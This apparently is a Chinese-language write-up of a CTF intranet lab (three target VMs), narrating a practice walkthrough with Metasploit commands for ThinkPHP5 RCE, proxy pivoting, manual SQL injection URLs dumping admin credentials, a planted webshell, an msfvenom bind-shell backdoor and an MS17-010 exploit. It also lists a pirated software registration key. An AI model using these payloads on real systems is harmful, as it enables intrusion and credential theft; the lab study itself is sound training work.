2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。本文是作者学习内网时练习经历,若文中有错误请各位师傅指出。
环境介绍
环境搭建
下载靶机后,导入VM中
配置网卡
编辑->虚拟网络编辑器
target1
双网卡
还需要配置宝塔
访问:http://192.168.184.142:8888/a768f109/
添加如下配置
target2
双网卡
配置网卡操作同target1
更改ip地址操作如下
1.打开vi /etc/network/interfaces
文件
2.编辑后重启
还需要配置宝塔(这里多弄一张nat网卡才能访问宝塔面板)
访问:http://192.168.184.145:8888/2cc52ec0/
不知道为啥这里显示的password是错的,网上搜到密码应该是123qwe..
添加配置如下
配置完后关闭这张nat网卡
target3
单网卡
配置网卡同target1
更改ip地址操作如下:
打靶
利用过程
利用nmap进行C段扫描,得到target1的ip,nmap 192.168.184.0/24
访问80端口,是一个thinkphp5搭建的web服务
先上扫描器扫后台
访问/robots.txt
,拿到第一个flag
TP5可能存在RCE,于是利用msf的攻击模块去打
use exploit/unix/webapp/thinkphp_rce
set rhosts 192.168.184.142
set rport 80
set targeturi /index.php
set lhost 192.168.184.128
set lport 1111
run
成功拿到shell,获取到web权限
信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
msf开启本地代理
use auxiliary/server/socks_proxy
show options
set SRVHOST 192.168.184.128
set SRVPORT 自定义端口
利用本地代理接口进行访问测试
linux
vim /etc/proxychains4.conf # 找到配置文件位置
添加如下内容
利用proxychains4
,对192.168.22.0/24网段进行探针
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
# -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
# -sT:扫描TCP数据包已建立的连接connect
这里探针到192.168.22.22的80端口开启
这里还可以使用msf自带的端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run
windows
利用代理工具Proxyfier或SocksCap64载入代理进行进程访问测试
在浏览器配置代理去访问刚刚过的的目标ip地址(这里在自己真实主机上通过设置代理也能访问到,因为主机能ping通192.168.184.128)
这里利用SocksCap64结合御剑进行后台扫描(此操作在自己的物理主机上)
但是对扫描到的路径和文件进行访问并没有可用信息,只在robots.txt文件中发现了后台登陆点/index.php?r=admini
继续找线索,在目标主页右键查看源码信息,得到Hint,该站点/index.php?r=vul&keyword=1
存在SQL注入
这里最开始我是用kali里的sqlmap去跑的
sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --proxy="http://192.168.184.128:1080" -p keyword
不知道为什么说不存在注入
在物理机上的sqlmap更是扫不了,不知道为什么代理没起作用
最后我采用手工注入QAQ
获取数据库
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.schemata%23
2. 获取bagecms数据库下的所有表名
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema='bagecms'%23
3. 获取bagecms数据库下的bage_admin表中所有字段
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin'%23
4. 获取bagecms数据库下的bage_admin表中字段username和password的值
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin%23
密码通过somd5解密如下
5. 综上获得用户名:admin,密码:123qwe
用获得的用户名和密码去后台登录,进去便得到第二个flag
在后台翻找,发现这里可以直接修改**/tag/下的index.php**的内容
我直接写个马进去
但是我这里又遇到问题了,不管是Proxifier或SocksCap64做代理用caidao去连,还是用蚁剑自带的代理设置去连,都没有成功
折磨了我一晚上第二天早上又折磨了一上午,最后在网上看到说可能是宝塔有拦截,用冰蝎可以连,于是我就上了冰蝎的马
终于成功了!
要是还不成功我都想用一些奇怪的姿势去弄了,比如将target2反弹shell(通过写入命令执行到.php文件)给target1,taiget1利用portmap端口转发再反弹给kali的msf,来拿shell
总之拿到shell就好,tnl
到此target2拿下,接下来是target3
这里插一句,做一个小记录,我最开始是想通过下图这个执行sql语句来写入webshell的,但是貌似没有写的权限,并且对<?php ?>
有过滤,再加上也不知道网站根目录在哪,就没有深入了
这里我们要继续到第三个靶机target3还需要借助target2来设置路由才能访问,所以需要将target2的shell交到msf手上
这里不能采用反向连接,因为target2是无法出网找到我们的kali的,所以需要我们的kali主动去绑定target2,所以msf在生成木马时会和反弹shell有不同
生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
# 这里使用的是bind_tcp,而反弹时reverse_tcp
# elf是linux的可执行文件
msf正向连接
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set LPORT 3333
exploit
利用冰蝎去上传并执行后门
msf得到获得session
这里其实也可以不这么麻烦,冰蝎上有可以将不出网的主机反弹给msf的功能,同样能将冰蝎得到的shell反弹给msf
信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24
使用msf自带的端口扫描,来探针存活主机
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.33.0/24
set threads 100
run
探针到存活主机192.168.33.33
再用proxychains4+nmap来对192.168.33.33进行端口扫描,通过结果可以看出是一台windows
这里猜测大概率存在永恒之蓝MS17-010
利用msf的攻击模块尝试去打
先search一下有哪些攻击模块
选择exploit/windows/smb/ms17_010_psexec
# 选择攻击模块
use exploit/windows/smb/ms17_010_psexec
# 设置正向连接
set payload windows/x64/meterpreter/bind_tcp
# 设置攻击目标ip地址
set rhosts 192.168.33.33
# 开打!
run
成功得到session
这里shell乱码,可以输入chcp 65001
修改编码,就好了
搜索flag
cd /
dir /S *flag* /B
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以
这里得到两个flag
到此三层内网靶机渗透完毕,芜湖起飞!
总结
这次打这个靶机可谓是困难重重,遇到好多非预期bug,看别人文章上顺的一批,自己就是死活弄不出,折磨了好几天,真是让我体会到,不是自己动手做过,真不知道其中的艰辛,看着别人一帆风顺,实则一大堆坑在等着,所以(实操>>理论)。不过结果是好的,有了第一次,下次也许就顺了吧,也许吧。
参考
https://blog.csdn.net/weixin_45447309/article/details/106907920
https://blog.csdn.net/li93675/article/details/81175883
资源
frp:https://github.com/fatedier/frp/releases/(下载选择对应版本,linux查看内核版本信息unam -a
)
CFS三层靶机环境:https://pan.baidu.com/s/1l5-TOVe9FO8mEjCiZ4mtMQ 提取码:xiao
Proxifier下载---注册码序列号5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition 安装版本)